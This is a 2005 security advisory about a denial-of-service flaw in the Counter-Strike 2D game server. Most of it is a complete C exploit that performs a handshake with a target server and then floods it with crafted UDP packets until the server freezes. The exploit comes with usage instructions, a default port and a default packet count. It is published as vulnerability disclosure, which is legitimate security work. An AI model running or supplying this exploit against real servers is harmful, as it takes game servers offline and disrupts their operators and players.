[EXPL] Counter Strike 2D Denial of Service (Exploit 2)

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  Counter Strike 2D Denial of Service (Exploit 2)
------------------------------------------------------------------------


SUMMARY

 <http://www.cs2d.com/> Counter-Strike 2D is an open source 2D Clone of 
Counter-Strike by Valve Software.

Counter Strike 2D will enter a DoS condition after receiving maliciously 
crafted packets.

DETAILS

By repeating the same packet more then once, Counter Strike 2D will enter 
a loop and will stop responding after several sending of the packets.

Exploit:
/*
  Counter Strike 2D DoS
  Affected versions: 0.1.0.1 and prior
  CS2D Developer: http://www.cs2d.com/

  by Iman Karim (iman.karim@smail.inf.fh-bonn-rhein-sieg.de)
  http://home.inf.fh-rhein-sieg.de/~ikarim2s/

  Written in Borland C++ Builder 6
  20.09.2005
*/
#include <winsock.h>
#include <stdio.h>
#include <conio.h>
int sd;
int port = 36963;
WSADATA wsadata;
struct  sockaddr_in p;

const static unsigned char MakeCon[]=   "\xFA\xFA\x0D\x0A"
                                        "\x68\x61\x72\x72\x79" //Player 
Name = Harry (in Hex)
                                        
"\xCE\x7B\xE2\x45\x63\x90\x00\x00";
const static unsigned char DoSPack[]=   "\xFA\x04"
                                        "\x68\x61\x72\x72\x79" //Player 
Name again
                                        "\x0D\x0A\x02" ;

//----------------------------------------------------------------------
u_int resolveaddr(char  *host )
{
    u_int ip;
    struct hostent *hIP ;

    ip = inet_addr(host);
       hIP = gethostbyname(host);
        if(!hIP) {
            printf("Cant solve hostip => quitting...\n");
            return(0);
        }
        else ip = *(u_int *)hIP->h_addr;
    return(ip);
}



bool HandShake(int sd)
{
        sendto(sd, MakeCon, 22, 0,(struct sockaddr *)&p, sizeof(p));
        return true;
}

bool DoSAttack(int sd)
{
        sendto(sd, DoSPack, 10, 0, (struct sockaddr *)&p, sizeof(p));
        return true;
}
//----------------------------------------------------------------------



int main(int argc, char *argv[])
{
        printf ("Counter Strike 2D DoS\n");
        printf ("Affected versions: 0.1.0.1 and prior\n");
        printf ("by Iman Karim 
(iman.karim@smail.inf.fh-bonn-rhein-sieg.de)\n");
        printf 
("http://home.inf.fh-rhein-sieg.de/~ikarim2s/\n-----------\n";);
        if (argc <= 1)
        {
                printf ("\n-Quick Guide-\n\n");
                printf ("%s <SRV_IP> [SRV_PORT] 
[PACKET_COUNT]\n",argv[0]);
                printf ("Default Port is 36963\n");
                printf ("Default Packet Count is 5000\n");
                printf ("\n-           -\n\nPress a key...");
                getch();
                printf ("\n");
                return(0);
        }

        WSAStartup(MAKEWORD (1,0), &wsadata);
        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

        if(sd < 0)
        {
         printf ("Cant create socket => quitting...\n");
         return(0);
        }

        if(argc > 2) port = atoi(argv[2]);

        p.sin_addr.s_addr = resolveaddr(argv[1]);
        p.sin_port        = htons(port);
        p.sin_family      = AF_INET;

        printf ("Attacking %s:%i...\n",argv[1],port);
        printf ("+Attack started...\n");

        printf ("++Sending Handshake...\n");
        HandShake(sd);
        unsigned char   rbuf[1024];
        ZeroMemory(rbuf, 1024);
        int cnt=0;

        int pcount = 5000;
        if(argc > 2) pcount = atoi(argv[3]);
        printf("\n\n[!!!] IF THE SERVER DON'T RESPONSE PRESS CTRL+C 
[!!!]\n\n");
        for(int i=0;i<=pcount;i++){
                printf("+++Sending packet nr.%i...\n",i);
                int len=recvfrom(sd, rbuf, sizeof(rbuf), 0, NULL, NULL);
                if (len > 0)
                {
                        printf("+++(%i)Server Responsed\n",i);
                        printf("+++(%i)Sending DoS Packet\n",i);
                        DoSAttack(sd);
                }

        }

        printf("++Attack Done!\n");
        printf("+Server should be frozen...\n");
        printf("Done => quitting.\npress any key...\n");

        getch();
        return 0;

}


ADDITIONAL INFORMATION

The information has been provided by  
<mailto:iman.karim@smail.inf.fh-bonn-rhein-sieg.de> Iman Karim.
Related article can be found at:  
<http://www.securiteam.com/exploits/5UP0E0UGVO.html> 
http://www.securiteam.com/exploits/5UP0E0UGVO.html



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